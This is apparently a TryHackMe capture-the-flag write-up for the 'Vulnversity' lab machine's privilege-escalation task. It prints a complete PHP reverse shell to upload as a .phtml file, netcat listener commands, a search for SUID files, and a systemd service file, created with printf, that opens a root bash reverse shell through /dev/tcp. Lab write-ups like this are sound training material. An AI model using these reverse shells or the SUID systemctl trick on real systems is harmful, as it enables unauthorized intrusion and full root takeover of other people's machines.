TryHackMe - Vulnervisity - Privilege Escalation (Task 5)

This post will mainly focuses on Task 5 - Privilege Escalation.

To start Task 5, we need to ensure the end of Task 4 was complete correctly, therefore, upload the suggested exploit with an extension of .phtml for example pe.phtml to the server via the upload page (http://<ip>:3333/internal); below is the source-code of the exploit.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = 'IP ON TRYHACKME NETWORK (tun0)';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

We then need to set up a netcat listener on your attacking (Kali) box (ensure you port matches the port in the exploit) to receive the reverse-shell.

> nc -lvnnp 1234

To execute the exploit we need to visit the link where the file was uploaded too (this link was given as part of Task 4).

http://<ip>3333/internal/uploads/pe.phtml

Your netcat listener should now resemble the below output.

> nc -lvvnp 1234
listening on [any] 1234 ...
connect to [IP-ON-THM-NETWORK] from (UNKNOWN) [10.10.206.160] 53402
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 04:33:53 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
>

As suggested the route to root is via a SUID file; the following command will find all SUID files on the target system.

> find / -perm -4000 2>/dev/null

/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
***/bin/systemctl***
/bin/ping
/bin/fusermount
/sbin/mount.cifs

The major security risk here is the /bin/systemctl as this allows execution of any commands via the User parameter when specifying a service file.

We first need to ensure we are in a directory which the current user can write to, /tmp is great for our purposes. Below is the service file we need to get onto the target machine.

[Unit]
Description=root

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/IP-ON-THM-NETWORK/9999 0>&1"

[Install]
WantedBy=multi-user.target

To save transfering this file it is just as to use printf to create the file we required.

> printf '[Unit]\nDescription=root\n\n[Service]\nType=simple\nUser=root\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/IP-ON-THM-NETWORK/9999 0>&1"\n\n[Install]\nWantedBy=multi-user.target\n' > root.service

NOTE: ensure to change the port and ip address

The service file will now be here /tmp/root.service

We now need to enable and start the service, however, before we do that let's start another netcat listener on the port defined above.

(attacking machine)
> nc -lvnnp 9999
(target machine)
> systemctl enable /tmp/root.service
> systemctl start root

Once this service has started we should now see our netcat listener displaying a root shell - WELL DONE you have now complete the box; feel free to grab the root.txt flag from /root/root.txt.


Reference Links

@klockw3rk's Medium Blog

GTFIBINS

High on coffee revserse shell


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